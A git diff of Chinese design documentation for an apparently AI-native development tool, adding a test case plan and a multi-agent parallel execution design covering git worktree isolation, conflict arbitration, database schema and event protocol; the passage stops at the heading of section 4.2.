| [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 |
|
| [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 |
|
||||||
| [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) |
|
| [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) |
|
||||||
| [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 |
|
| [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 |
|
||||||
| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验 | AI 跑题改进试验:系统 prompt 加固 / 上下文钳制 / 行为约束 |
|
| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验记录 | AI Chat 长对话跑题根因治:测试计划+迭代过程+改进前基线+遗留 |
|
||||||
|
| [AI-Native方向与路线图-2026-06-29.md](./构想审查/AI-Native方向与路线图-2026-06-29.md) | 📐 方向 | AI Native 优先级矩阵:P0人设+多Agent→P1模板+Git/CI→P2审批政策+算法验证 |
|
||||||
|
|
||||||
|
### 根目录文档(不在子目录)
|
||||||
|
|
||||||
|
| 文档 | 状态 | 核心内容 |
|
||||||
|
|---|---|---|
|
||||||
|
| [单对话并行多轮-设计-2026-06-20.md](./单对话并行多轮-设计-2026-06-20.md) | 📐 设计 | aichat B 路线:单对话内 AI 拆子流并行跑,加速多文件/多方案/多模块对比 |
|
||||||
|
| [单对话并行多轮-Phase0落地路线图-2026-06-20.md](./单对话并行多轮-Phase0落地路线图-2026-06-20.md) | 📐 路线图 | 承接设计 Phase 1/2/3 实施前必须补齐的机制(Phase 0 = 物理可行性地基) |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
||||||
|
|
||||||
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
||||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
> 关联: [任务推进设计](../构想审查/任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||||
> 关联: [三层模型-流程模板与人设体系](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(人设层是本架构的下一阶段演进方向)
|
> 关联: [三层模型-流程模板与人设体系](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(人设层是本架构的下一阶段演进方向)
|
||||||
|
> 关联: [AI-Native方向与路线图](../构想审查/AI-Native方向与路线图-2026-06-29.md)(AI Native 优先级矩阵与推进路线图)
|
||||||
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
252
docs/02-架构设计/专项设计/后续批次测试用例设计-2026-07-01.md
Normal file
252
docs/02-架构设计/专项设计/后续批次测试用例设计-2026-07-01.md
Normal file
@@ -0,0 +1,252 @@
|
|||||||
|
# 后续批次测试用例设计 — 2026-07-01
|
||||||
|
|
||||||
|
> 覆盖:多Agent并行执行 / Git worktree 隔离 / 仲裁合并 / 模板系统 / Git-CI / 审批政策
|
||||||
|
> 关联:[多Agent并行执行与仲裁合并设计-2026-07-01.md](02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、测试分层
|
||||||
|
|
||||||
|
| 层级 | 范围 | 工具 |
|
||||||
|
|------|------|------|
|
||||||
|
| **单元测试** | 纯函数/数据结构/repo CRUD | `#[test]` Rust / vitest TS |
|
||||||
|
| **集成测试** | 跨模块协作(dispatch+merge+worktree) | `#[tokio::test]` |
|
||||||
|
| **端到端** | 用户发消息→Plan→并行→合并→展示 | 手动 + 日志验证 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、数据层与并行执行 测试用例
|
||||||
|
|
||||||
|
### 2.1 V36 迁移
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| MIG-01 | 新库空跑 V36 | 3 新表 + 2 列 ALTER 成功,ai_plans 为空 |
|
||||||
|
| MIG-02 | 老库(有数据)跑 V36 | ai_messages/ai_tool_executions 加 subtask_id 列(NULL),原有数据不动 |
|
||||||
|
| MIG-03 | V36 幂等(重跑) | 不崩溃,版本号已写入直接跳过 |
|
||||||
|
| MIG-04 | 老库 ai_messages 有 100 条数据 | subtask_id 全部为 NULL,查询不报错 |
|
||||||
|
|
||||||
|
### 2.2 Repo CRUD
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| REPO-01 | PlanRepo.insert + get | 写入后能按 id 读回,字段完整 |
|
||||||
|
| REPO-02 | PlanRepo.update_status | planning→executing→done 状态流转正确 |
|
||||||
|
| REPO-03 | SubTaskRepo.insert + list_by_plan | 按 plan_id 查子任务,layer 排序正确 |
|
||||||
|
| REPO-04 | SubTaskRepo.update_status | pending→running→done 流转 |
|
||||||
|
| REPO-05 | ConflictRepo.insert + list_pending | 按 plan_id 查 resolution=pending 的冲突 |
|
||||||
|
| REPO-06 | ConflictRepo.resolve | 更新 resolution + resolved_by + resolved_at |
|
||||||
|
| REPO-07 | SubTaskRepo 查 branch=NULL | 非 Git 工程的 SubTask branch 为 NULL,查询正常 |
|
||||||
|
|
||||||
|
### 2.3 Coordinator 拆解
|
||||||
|
|
||||||
|
| ID | 场景 | 输入 | 预期 |
|
||||||
|
|----|------|------|------|
|
||||||
|
| DEC-01 | 读+写意图 | "先 read 文件再修改" | 2 SubTask(read→write),write deps=[read] |
|
||||||
|
| DEC-02 | 纯读意图 | "分析现有代码结构" | 1 SubTask(read),无 deps |
|
||||||
|
| DEC-03 | 纯写意图 | "implement new feature" | 1 SubTask(write),无 deps |
|
||||||
|
| DEC-04 | 兜底意图 | "你好" | 1 SubTask(default) |
|
||||||
|
| DEC-05 | 人设分配 | "review this code" | SubTask persona=reviewer |
|
||||||
|
| DEC-06 | Plan 非空 | 任意非空输入 | plan.tasks.len() >= 1 |
|
||||||
|
|
||||||
|
### 2.4 Git worktree 隔离
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| WT-01 | worktree 创建 | `.devflow/wt/{plan_id}/A` 目录存在,git branch `subtask/{plan_id}/A` 存在 |
|
||||||
|
| WT-02 | worktree 内 write_file | 写入落到 worktree 目录,主目录文件不变 |
|
||||||
|
| WT-03 | 同层并行隔离 | SubTask A 写 main.rs,SubTask B 读 main.rs → B 读到的是 fork 基点内容,非 A 的改动 |
|
||||||
|
| WT-04 | worktree commit | SubTask 完成后 git add+commit,分支有新 commit |
|
||||||
|
| WT-05 | worktree 清理 | Plan 完成后 `.devflow/wt/{plan_id}/` 目录被移除 |
|
||||||
|
| WT-06 | 非 Git 工程降级 | 无 .git 的工程 → branch=NULL,走串行,不崩溃 |
|
||||||
|
| WT-07 | worktree 创建失败 | 磁盘满/权限不足 → 降级串行,日志告警 |
|
||||||
|
|
||||||
|
### 2.5 并行调度
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| PAR-01 | 线性链(2层×1任务) | Layer0 done → Layer1 启动,总耗时≈串行 |
|
||||||
|
| PAR-02 | 并行层(1层×3任务) | 3 SubTask 并发执行,总耗时≈最慢的一个 |
|
||||||
|
| PAR-03 | 钻石依赖 | A→{B,C}→D,B/C 并行,D 等 B+C 都 done |
|
||||||
|
| PAR-04 | 层间隔离 | Layer1 的 SubTask 能读到 Layer0 merge 后的改动 |
|
||||||
|
| PAR-05 | 单 SubTask 失败 | 标记 error,不中断同层其他 SubTask |
|
||||||
|
| PAR-06 | 全部 SubTask 失败 | Plan.status=error |
|
||||||
|
| PAR-07 | SubTask 超时(120s) | 标记 error,其他 SubTask 不受影响 |
|
||||||
|
|
||||||
|
### 2.6 Token 预算池
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| TOK-01 | 预算充足 | try_reserve(10k) → true,consumed+=10k |
|
||||||
|
| TOK-02 | 预算超限 | consumed=98k,total=100k,try_reserve(5k) → false |
|
||||||
|
| TOK-03 | 并发 reserve | 2 个 SubTask 同时 reserve(CAS 竞争) | 只有一个成功 |
|
||||||
|
| TOK-04 | 超限降级串行 | 预算用完 → 剩余 SubTask 串行执行(不拒绝) |
|
||||||
|
|
||||||
|
### 2.7 事件协议
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| EVT-01 | AiPlanCreated | 前端 PlanProgress 立即展示 DAG 层结构 |
|
||||||
|
| EVT-02 | AiSubTaskStatusChanged | 节点状态从 pending→running→done 更新 |
|
||||||
|
| EVT-03 | AiMergeCompleted(无冲突) | 合并输出展示,无冲突徽章 |
|
||||||
|
| EVT-04 | AiMergeCompleted(有冲突) | 冲突徽章出现 |
|
||||||
|
| EVT-05 | AiConflictResolved | 冲突徽章消失 |
|
||||||
|
| EVT-06 | 事件双写 | emit 和 publish_event 都触发 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、仲裁合并与冲突 测试用例
|
||||||
|
|
||||||
|
### 3.1 Git merge 冲突检测
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| MRG-01 | 无冲突合并 | A 改 file1,B 改 file2 → merge-tree 无冲突 → git merge 成功 |
|
||||||
|
| MRG-02 | 同文件冲突 | A 改 main.rs 第10行,B 改 main.rs 第10行 → conflict markers 出现 |
|
||||||
|
| MRG-03 | 同文件不冲突区 | A 改 main.rs 第10行,B 改 main.rs 第50行 → git 自动合并成功 |
|
||||||
|
| MRG-04 | 跨层同文件 | Layer0 改 main.rs,merge 到 plan;Layer1 改 main.rs → 基于已含 Layer0 的版本,无冲突 |
|
||||||
|
| MRG-05 | 三方合并预检 | git merge-tree 返回非空冲突列表 → 不执行 merge,标记 conflict |
|
||||||
|
|
||||||
|
### 3.2 编译检查(semantic 冲突)
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| CMP-01 | 合并后编译通过 | cargo check exit 0 → 无 semantic 冲突 |
|
||||||
|
| CMP-02 | 合并后编译失败 | A 删函数 foo(),B 在调 foo() → cargo check 失败 → conflict_type=semantic |
|
||||||
|
| CMP-03 | 前端项目 | tsc --noEmit 失败 → semantic 冲突 |
|
||||||
|
| CMP-04 | 无构建工具的工程 | 跳过编译检查(无 cargo/tsc) → 不阻塞 merge |
|
||||||
|
|
||||||
|
### 3.3 Reviewer 仲裁
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| ARB-01 | Reviewer 推荐 A | diff_a 更完整 → resolution=a,resolved_by=reviewer |
|
||||||
|
| ARB-02 | Reviewer 推荐 merged | 两者各有价值 → resolution=merged,给出合并方案 |
|
||||||
|
| ARB-03 | Reviewer 无法判断 | 两者等价 → resolution=pending,留给用户 |
|
||||||
|
| ARB-04 | Reviewer 超时 | LLM 调用超时 → 自动降级为 pending |
|
||||||
|
|
||||||
|
### 3.4 冲突解决闭环
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| RSV-01 | 用户选接受 A | resolution=a,文件应用 A 的改动,B 的改动丢弃 |
|
||||||
|
| RSV-02 | 用户选手动 | resolution=manual,用户在 worktree 手动编辑后 commit |
|
||||||
|
| RSV-03 | 全部冲突解决 | Plan.status 从 merging→done |
|
||||||
|
| RSV-04 | 前端徽章更新 | AiConflictResolved 事件 → 冲突徽章消失 |
|
||||||
|
|
||||||
|
### 3.5 合并产出落回主对话
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| OUT-01 | 无冲突合并 | 主对话新增 1 条 assistant 消息(merged_output) |
|
||||||
|
| OUT-02 | 有冲突合并 | 主对话新增 1 条 + 冲突徽章 |
|
||||||
|
| OUT-03 | 展开查看子 Agent 轨迹 | 点击展开 → 从 ai_messages WHERE subtask_id=? 加载,按 SubTask 分组 |
|
||||||
|
| OUT-04 | 折叠状态默认 | 新消息默认折叠,只显示摘要 |
|
||||||
|
|
||||||
|
### 3.6 命令互斥锁
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| LCK-01 | 同目录 npm install 并发 | 第二个等第一个完成才执行(不并行) |
|
||||||
|
| LCK-02 | 不同目录 npm install | 并行执行(锁 key 含目录) |
|
||||||
|
| LCK-03 | cargo + npm 同目录 | 不互斥(锁 key 含命令名) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、模板系统 测试用例
|
||||||
|
|
||||||
|
### 4.1 YAML 模板加载
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| TPL-01 | 合法 YAML 加载 | DagDef 结构完整,nodes/edges/conditions 正确解析 |
|
||||||
|
| TPL-02 | 缺必填字段 | nodes 为空 → 报错"模板节点不能为空" |
|
||||||
|
| TPL-03 | 依赖闭环 | A→B→A → 报错"依赖存在环" |
|
||||||
|
| TPL-04 | 未知节点类型 | node.type="UnknownNode" → 报错"未知节点类型" |
|
||||||
|
| TPL-05 | 内置模板加载 | 3 个内置模板(代码审查/bug修复/功能开发)全部加载成功 |
|
||||||
|
| TPL-06 | 自定义模板 CRUD | 创建→读取→更新→删除,持久化到 DB |
|
||||||
|
|
||||||
|
### 4.2 SubflowNode
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| SUB-01 | 嵌套子工作流执行 | SubflowNode 加载子模板 → 递归执行 → 返回子工作流结果 |
|
||||||
|
| SUB-02 | 子工作流审批 | 子工作流内的 HumanNode 审批 → 挂起 → 恢复 |
|
||||||
|
| SUB-03 | 嵌套深度限制 | 超过 MAX_PLAN_DEPTH → 报错 |
|
||||||
|
|
||||||
|
### 4.3 新节点
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| NODE-01 | GitNode 创建分支 | branch_name 存在,git branch 列表可见 |
|
||||||
|
| NODE-02 | GitNode commit | 工作区改动已提交,git log 有新记录 |
|
||||||
|
| NODE-03 | HTTPNode GET | 请求成功,返回 body 存入 NodeOutput |
|
||||||
|
| NODE-04 | HTTPNode 超时 | 30s 超时 → 返回错误,不阻塞 |
|
||||||
|
| NODE-05 | NotifyNode 桌面通知 | 系统通知弹出 |
|
||||||
|
| NODE-06 | NotifyNode Webhook | POST 到飞书/钉钉,HTTP 200 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、Git/CI 集成 测试用例
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| CI-01 | DockerNode 构建成功 | docker run cargo build → exit 0 → 构建产物存在 |
|
||||||
|
| CI-02 | DockerNode 构建失败 | docker run cargo build → exit !=0 → 返回 stderr |
|
||||||
|
| CI-03 | PR 创建 | GitNode push → API 创建 PR → PR URL 返回 |
|
||||||
|
| CI-04 | CI 状态读取 | 调 API → 返回 check 结果(passed/failed/pending) |
|
||||||
|
| CI-05 | 全链路 | 模板→分支→代码→commit→push→PR→CI→结果回显,全流程不中断 |
|
||||||
|
| CI-06 | CI 失败时 | 前端 CI 面板显示红色,日志可查看 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、审批政策 测试用例
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| POL-01 | coder+Low → auto | 匹配规则 → 自动执行 |
|
||||||
|
| POL-02 | coder+High → approve | 匹配规则 → 走审批 |
|
||||||
|
| POL-03 | reviewer+任意 → auto | reviewer 只读工具,全部自动 |
|
||||||
|
| POL-04 | 无匹配规则 | 降级到 auto_exec_mode 三档(向后兼容) |
|
||||||
|
| POL-05 | 策略热加载 | 修改策略 → 下次工具调用立即生效(不重启) |
|
||||||
|
| POL-06 | 策略冲突检测 | 同一 Persona+Node+Risk 有多条规则 → 优先级最高的生效 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、God 文件拆分 测试用例
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| REF-01 | agentic/mod.rs 拆分 | 拆出 compress/title/knowledge_inject 后,原文件<800 行,cargo check 通过 |
|
||||||
|
| REF-02 | context.rs 拆分 | 拆出 sanitize/budget/compress 后,原文件<800 行,所有 context 测试通过 |
|
||||||
|
| REF-03 | MessageList.vue 拆分 | 拆出 StreamRenderer/ToolCardGroup/EmptyState,vue-tsc 通过 |
|
||||||
|
| REF-04 | ChatInput.vue 拆分 | 拆出 MentionPopover/EnrichmentPanel,vue-tsc 通过 |
|
||||||
|
| REF-05 | 拆分后行为不变 | 原有所有单元测试/集成测试全绿 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 八、端到端手动测试
|
||||||
|
|
||||||
|
| ID | 场景 | 步骤 | 预期 |
|
||||||
|
|----|------|------|------|
|
||||||
|
| E2E-01 | 简单并行任务 | 发"先读取 main.rs 再修改 utils.rs" | PlanProgress 展示 2 层,Layer0 读,Layer1 写,最终合并输出 |
|
||||||
|
| E2E-02 | 并行同文件冲突 | 发"同时重构 auth.rs 的两个函数" | 2 SubTask 并行改同文件 → 冲突徽章 → 用户选择 → 最终输出 |
|
||||||
|
| E2E-03 | 取消并行任务 | 发消息→Plan 执行中→点停止 | 所有 SubTask 停止,worktree 清理,Plan.status=error |
|
||||||
|
| E2E-04 | 切换会话后台执行 | 发消息→切换到另一个会话 | 原 Plan 后台继续,PlanProgress 在原会话保留 |
|
||||||
|
| E2E-05 | 非 Git 工程 | 在无 .git 的项目中发并行任务 | 降级串行执行,正常完成 |
|
||||||
|
| E2E-06 | 模板驱动全链路 | 选"功能开发"模板→AI 执行 | 从模板加载工作流→创建分支→写代码→测试→PR |
|
||||||
|
| E2E-07 | 长对话不崩溃 | 50+ 轮对话后发并行任务 | token 预算池正常,不 OOM,PlanProgress 正常展示 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 九、边界与异常
|
||||||
|
|
||||||
|
| ID | 场景 | 预期 |
|
||||||
|
|----|------|------|
|
||||||
|
| EDGE-01 | 空 Plan | decompose 返回空 Plan → 不启动 dispatch,主对话正常回复(退单 Agent) |
|
||||||
|
| EDGE-02 | 全部 SubTask 超时 | Plan.status=error,前端展示超时提示,worktree 清理 |
|
||||||
|
| EDGE-03 | Git 不可用 | git 命令失败 → 降级串行,日志告警,不崩溃 |
|
||||||
|
| EDGE-04 | DB 写入失败 | PlanRepo.insert 失败 → 降级不落库,内存态执行,日志告警 |
|
||||||
|
| EDGE-05 | worktree 磁盘满 | 创建失败 → 降级串行 |
|
||||||
|
| EDGE-06 | token 预算=0 | 设置项 df-ai-plan-token-budget=0 → 不限制(等价无限) |
|
||||||
|
| EDGE-07 | 冲突解决时会话删除 | resolve_conflict IPC 到达时会话已删 → 忽略,清理 conflict 记录 |
|
||||||
592
docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md
Normal file
592
docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md
Normal file
@@ -0,0 +1,592 @@
|
|||||||
|
# 多 Agent 并行执行与仲裁合并设计 — 2026-07-01
|
||||||
|
|
||||||
|
> 性质:架构设计 / 数据模型 / 事件协议 / UI 交互
|
||||||
|
> 关联: [AI-Native方向与路线图-2026-06-29.md](../构想审查/AI-Native方向与路线图-2026-06-29.md)(P0 智能体人设 + 多 Agent 协作)
|
||||||
|
> 关联: [单对话并行多轮-设计-2026-06-20.md](../单对话并行多轮-设计-2026-06-20.md)(Plan DAG 结构与分层调度)
|
||||||
|
> 关联: [Agent架构说明-2026-06-14.md](Agent架构说明-2026-06-14.md)(当前 Agent 能力边界)
|
||||||
|
> 关联: [三层模型-流程模板与人设体系-2026-06-28.md](三层模型-流程模板与人设体系-2026-06-28.md)(模板/工作流/人设三层抽象)
|
||||||
|
> 用途:Batch 37-38 的实施依据
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、设计目标
|
||||||
|
|
||||||
|
DevFlow 的定位是 AI Native——AI 是系统的主要操作者,人的角色是「决策者 + 政策制定者」。
|
||||||
|
|
||||||
|
多 Agent 并行执行要解决的核心问题:
|
||||||
|
|
||||||
|
| 问题 | 现状(单 Agent) | 多 Agent 后 |
|
||||||
|
|------|-----------------|------------|
|
||||||
|
| 复杂任务拆解 | LLM 自行在单轮内拆,上下文窗口受限 | Coordinator 拆为 SubTask,各自独立上下文 |
|
||||||
|
| 并行产出 | 串行,无冲突 | 多 Agent 同时改文件 → 数据竞争 |
|
||||||
|
| 用户感知 | 单条流式输出 | 多 Agent 产出交织,用户分不清谁是谁 |
|
||||||
|
| 错误恢复 | 一个工具失败 → LLM 下一轮决策 | 一个 SubTask 失败 → Coordinator 决定是否继续 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、数据模型(方案 C:混合)
|
||||||
|
|
||||||
|
### 2.1 设计原则
|
||||||
|
|
||||||
|
1. **messages 不膨胀** — 只加 `subtask_id` 外键列,不把 Plan/Conflict 字段塞进去
|
||||||
|
2. **重实体独立** — Plan / SubTask / Conflict 各自独立表,各自演进
|
||||||
|
3. **历史兼容** — `subtask_id = NULL` 表示单 Agent 时期消息,零回归
|
||||||
|
4. **FK 三层链路** — messages → SubTask → Plan 可追溯完整生命周期
|
||||||
|
|
||||||
|
### 2.2 ER 图
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
erDiagram
|
||||||
|
ai_conversations ||--o{ ai_plans : "1:N 触发"
|
||||||
|
ai_plans ||--o{ ai_subtasks : "1:N 拆解"
|
||||||
|
ai_plans ||--o{ ai_conflicts : "1:N 冲突"
|
||||||
|
ai_subtasks ||--o{ ai_messages : "1:N 产出(subtask_id FK)"
|
||||||
|
ai_subtasks ||--o{ ai_tool_executions : "1:N 工具调用(subtask_id FK)"
|
||||||
|
ai_conflicts }o--|| ai_subtasks : "subtask_a"
|
||||||
|
ai_conflicts }o--|| ai_subtasks : "subtask_b"
|
||||||
|
|
||||||
|
ai_plans {
|
||||||
|
TEXT id PK
|
||||||
|
TEXT conversation_id FK
|
||||||
|
TEXT user_message_id "触发 Plan 的用户消息"
|
||||||
|
TEXT status "planning/executing/merging/done/error"
|
||||||
|
INTEGER subtask_count
|
||||||
|
TEXT created_at
|
||||||
|
TEXT completed_at "可空"
|
||||||
|
}
|
||||||
|
|
||||||
|
ai_subtasks {
|
||||||
|
TEXT id PK
|
||||||
|
TEXT plan_id FK
|
||||||
|
TEXT persona_id "coder/reviewer/architect/..."
|
||||||
|
TEXT intent "子任务意图描述"
|
||||||
|
TEXT status "pending/running/done/error"
|
||||||
|
INTEGER layer "DAG 层级(0起)"
|
||||||
|
TEXT deps "JSON 数组: 依赖的 SubTask id 列表"
|
||||||
|
TEXT created_at
|
||||||
|
TEXT completed_at "可空"
|
||||||
|
}
|
||||||
|
|
||||||
|
ai_conflicts {
|
||||||
|
TEXT id PK
|
||||||
|
TEXT plan_id FK
|
||||||
|
TEXT file_path "冲突文件路径"
|
||||||
|
TEXT subtask_a FK
|
||||||
|
TEXT subtask_b FK
|
||||||
|
TEXT diff_a "Agent A 对该文件的改动摘要"
|
||||||
|
TEXT diff_b "Agent B 对该文件的改动摘要"
|
||||||
|
TEXT resolution "pending/a/b/merged/manual"
|
||||||
|
TEXT resolved_by "reviewer/user"
|
||||||
|
TEXT created_at
|
||||||
|
TEXT resolved_at "可空"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.3 现有表改动
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- V36 迁移
|
||||||
|
ALTER TABLE ai_messages ADD COLUMN subtask_id TEXT;
|
||||||
|
ALTER TABLE ai_tool_executions ADD COLUMN subtask_id TEXT;
|
||||||
|
|
||||||
|
-- 新建 3 张表(见 ER 图字段)
|
||||||
|
CREATE TABLE ai_plans (...);
|
||||||
|
CREATE TABLE ai_subtasks (
|
||||||
|
...
|
||||||
|
-- worktree 分支名(git worktree 隔离机制,见 §4.2)
|
||||||
|
branch TEXT -- 如 "subtask/{plan_id}/A"
|
||||||
|
);
|
||||||
|
CREATE TABLE ai_conflicts (
|
||||||
|
...
|
||||||
|
-- 冲突类型(见 §4.2 四层防线)
|
||||||
|
conflict_type TEXT DEFAULT 'file' -- 'file'(同文件) / 'semantic'(编译失败)
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.4 三层关联查询示例
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 查某 Plan 的全部产出(消息 + 工具)
|
||||||
|
SELECT m.* FROM ai_messages m
|
||||||
|
JOIN ai_subtasks s ON m.subtask_id = s.id
|
||||||
|
WHERE s.plan_id = ?;
|
||||||
|
|
||||||
|
-- 查某 Plan 的所有冲突
|
||||||
|
SELECT c.* FROM ai_conflicts c WHERE c.plan_id = ? AND c.resolution = 'pending';
|
||||||
|
|
||||||
|
-- 查某对话的全部 Plan 历史
|
||||||
|
SELECT p.* FROM ai_plans p WHERE p.conversation_id = ? ORDER BY created_at DESC;
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、事件协议
|
||||||
|
|
||||||
|
### 3.1 新增事件
|
||||||
|
|
||||||
|
| 事件 | 时机 | 载荷 | 前端响应 |
|
||||||
|
|------|------|------|---------|
|
||||||
|
| `AiPlanCreated` | Coordinator.decompose 完成后 | `{ plan_id, layers: [[{id, persona, intent, status}],...] }` | PlanProgress 展示 DAG |
|
||||||
|
| `AiSubTaskStatusChanged` | SubTask 状态变更(pending→running→done/error) | `{ subtask_id, plan_id, status, persona_id }` | PlanProgress 更新节点状态 + 工具卡分组徽章 |
|
||||||
|
| `AiMergeCompleted` | Coordinator.merge 完成后 | `{ plan_id, merged_output, conflicts: [{id, file, subtask_a, subtask_b}] }` | 展示合并结果 + 冲突徽章 |
|
||||||
|
| `AiConflictResolved` | 用户/reviewer 解决冲突后 | `{ conflict_id, resolution, resolved_by }` | 冲突徽章消失 + 最终输出更新 |
|
||||||
|
|
||||||
|
### 3.2 事件流时序
|
||||||
|
|
||||||
|
```
|
||||||
|
用户发送消息
|
||||||
|
↓
|
||||||
|
AiPlanCreated { plan_id, layers }
|
||||||
|
↓ (PlanProgress 立即展示)
|
||||||
|
Layer 0 启动
|
||||||
|
↓
|
||||||
|
AiSubTaskStatusChanged { subtask_0, running }
|
||||||
|
AiSubTaskStatusChanged { subtask_1, running } ← 层内并行
|
||||||
|
↓ (工具卡片按 subtask_id 分组,带 persona 徽章)
|
||||||
|
AiSubTaskStatusChanged { subtask_0, done }
|
||||||
|
AiSubTaskStatusChanged { subtask_1, done }
|
||||||
|
↓
|
||||||
|
Layer 1 启动 ...
|
||||||
|
↓
|
||||||
|
AiMergeCompleted { plan_id, merged_output, conflicts }
|
||||||
|
↓ (有冲突 → 冲突徽章;无冲突 → 直接展示合并输出)
|
||||||
|
用户点击冲突 → 展示 diff_a/diff_b → 选择
|
||||||
|
↓
|
||||||
|
AiConflictResolved { conflict_id, resolution }
|
||||||
|
↓
|
||||||
|
最终输出展示
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、并行执行策略
|
||||||
|
|
||||||
|
### 4.1 调度规则
|
||||||
|
|
||||||
|
```
|
||||||
|
Plan.to_layers() → [[subtask_0, subtask_1], [subtask_2], [subtask_3, subtask_4]]
|
||||||
|
Layer 0(并行) Layer 1(串行) Layer 2(并行)
|
||||||
|
```
|
||||||
|
|
||||||
|
| 规则 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| 层间串行 | 上层全部 done + **Git merge 到 plan 分支后** 才创建下一层 worktree(fork 天然包含上层改动) |
|
||||||
|
| 层内并行 | 同层 SubTask 各自创建 Git worktree,JoinSet 并发执行 |
|
||||||
|
| 写工具天然隔离 | 每个 SubTask 在独立 worktree 内工作,write_file/patch_file 写到 worktree 目录(不重定向) |
|
||||||
|
| 只读工具天然可见 | read_file 读 worktree 内文件(含本 worktree 改动 + fork 基点的全部历史) |
|
||||||
|
| 层内隔离 | 同层并行 SubTask 互相看不到对方的 worktree 改动(独立分支,完全隔离) |
|
||||||
|
|
||||||
|
### 4.2 Git worktree 隔离机制
